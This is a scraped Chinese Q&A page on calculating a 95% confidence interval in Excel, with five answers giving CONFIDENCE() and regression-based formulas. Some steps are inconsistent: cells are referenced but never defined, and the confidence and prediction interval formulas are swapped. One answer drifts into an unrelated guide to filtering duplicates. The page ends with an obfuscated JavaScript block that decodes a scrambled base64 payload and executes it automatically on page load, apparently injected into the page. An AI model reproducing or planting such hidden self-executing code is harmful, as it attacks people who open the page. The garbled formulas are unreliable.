如何用excel计算 95%的置信区间

题目中有309个原始数值 如何用excel计算95%的置信区间
2025-03-16 14:15:48
推荐回答(5个)
回答1:

用excel计算 95%的置信区间,需要用户首先计算Y的估计值,在C2单元格里面输入“=0.48*$B2-2021.08,接下来计算残差e,在D2单元格里面输入“=$C2-$A2”,然后在E2单元格里面输入“=D2^2”。在F2单元格里面输入“=B2^2”向下拖动生成x的平方值列同样在右侧找一个单元格,接下来计算估计误差,然后分别计算预测区间的上限和下限,最后只需要在K3单元格里面重新输入X新的数值,然后回车即可。具体操作步骤如下。

1、第一步仍然是准备好需要的数据,纵向排列首先计算Y的估计值,根据回归方程计算在C2单元格里面输入“=0.48*$B2-2021.08”,回车计算出结果,然后向下拖动生成所有点对应的y估计值。如下图所示。

2、接着需要计算残差e,在D2单元格里面输入“=$C2-$A2”还是向下拖动生成残差列。如下图所示。

3、然后计算残差的平方,在E2单元格里面输入“=D2^2”做右侧空白区域选择一个单元格,如下图所示。

4、如M2,在单元格里面输入“=SUM(E2:E20)”计算残差的平方和。如下图所示。

5、接下来计算x的平方,在F2单元格里面输入“=B2^2”向下拖动生成x的平方值列同样在右侧找一个单元格,如M3,输入“=SUM(F2:F20)”回车。如下图所示。

6、接下来计算估计误差先在K2单元格计算出x的均值,输入“=AVERAGE(B2:B20)”在K3输入需要计算得X值,比如这里的3000在K5单元格里面输入“=SQRT($M$2/17*(1/18+($K$3-$K$2)^2/$M$3))”回车输出误差值如果计算的是置信区间的话,可以另外选择单元格输入“=SQRT($M$2/17*(1+1/18+($K$3-$K$2)^2/$M$3))”。如下图所示。

7、需要分别计算预测区间的上限和下限在J9单元格里面输入“=$M$5-TINV(0.05,17)*$K$5”回车,作为下限值在K9单元格里面输入“=$M$5+TINV(0.05,17)*$K$5”回车,作为上限值。如下图所示。

8、接下来如果需要更换X的值,只需要在K3单元格里面重新输入X新的数值,然后回车,在J3和K3单元格就会计算出Y的预测区间的下限和上限。如下图所示。

注意事项:

EXCEL做基本的回归分析的时候,经常会使用某个值来预测因变量的值,由于误差的存在,可以计算出一个置信区间或者是预测区间。

excel的回归分析结果只给出了基本的检验结果,并不能确定每一个值的区间估计。

回答2:

键入公式:=CONFIDENCE(0.05,标准偏差,309)。得出结果。

1、准备需要的数据,纵向排列首先计算Y的估计值,根据回归方程计算在C2单元格里面输入“=0.48*$B2-2021.08”,回车计算出结果,然后向下拖动生成所有点对应的y估计值。

2、接着需要计算残差e,在D2单元格里面输入“=$C2-$A2”还是向下拖动生成残差列。

3、然后计算残差的平方,在E2单元格里面输入“=D2^2”做右侧空白区域选择一个单元格,比如M2,在单元格里面输入“=SUM(E2:E20)”计算残差的平方和。

4、接下来我们计算x的平方,在F2单元格里面输入“=B2^2”向下拖动生成x的平方值列同样在右侧找一个单元格,如M3,输入“=SUM(F2:F20)”回车。

5、接下来计算估计误差先在K2单元格计算出x的均值。

6、需要分别计算预测区间的上限和下限在J9单元格里面输入=$M$5-TINV(0.05,17)*$K$5”回车,作为下限值在K9单元格里面输入“=$M$5+TINV(0.05,17)*$K$5”回车,作为上限值。

7、接下来如果需要更换X的值,只需要在K3单元格里面重新输入X新的数值,然后回车,在J3和K3单元格就会计算出Y的预测区间的下限和上限。



扩展资料


置信区间的计算公式取决于所用到的统计量。置信区间是在预先确定好的显著性水平下计算出来的,显著性水平通常称为α(希腊字母alpha),如前所述,绝大多数情况会将α设为0.05。

置信度为(1-α),或者100×(1-α)%。于是,如果α=0.05,那么置信度则是0.95或95%,后一种表示方式更为常用。置信区间的常用计算方法如下:

Pr(c1<=μ<=c2)=1-α

其中:α是显著性水平(例:0.05或0.10);

Pr表示概率,是单词probablity的缩写;

100%*(1-α)或(1-α)或指置信水平(例如:95%或0.95);

表达方式:interval(c1,c2) - 置信区间。

回答3:

键入公式:=CONFIDENCE(0.05,标准偏差,309)。得出结果。

EXCEL怎么筛选重复内容?

EXCEL怎么筛选重复内容的解决方法如下:

1、需要进行筛选操作的Excel文档。

2、 选中文档中的所有记录(注意,此时应将每列的标题行也选择上,否则筛选完的数据表中将不再包含有该标题行),执行“数据”菜单→“筛选→高级筛选”命令。

3、 在弹出的“高级筛选”对话框中选择“将筛选结果复制到其他位置”一项,并点击“复制到”选择框后面的范围按钮来选择一块区域以存放筛选后的数据(注意:此处千万不要与原数据所处的单元格相重合,否则数据表将会混乱),最后,勾选“选择不重复的记录”复选框后,点击“确定”按钮即可。

4、此时,Excel便会将所有的重复记录自动删除掉,确认无误后,您就可以把新生成的数据清单拷贝到新的工作表中继续使用了。

回答4:

按照公式进行计算,关键看是分布中的那个参数。例如:对于正态分布的α/2分位数可以通过NORMSINV(1-α)得到。然后套入公式。

回答5:

=CONFIDENCE(0.05,标准偏差,309)

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();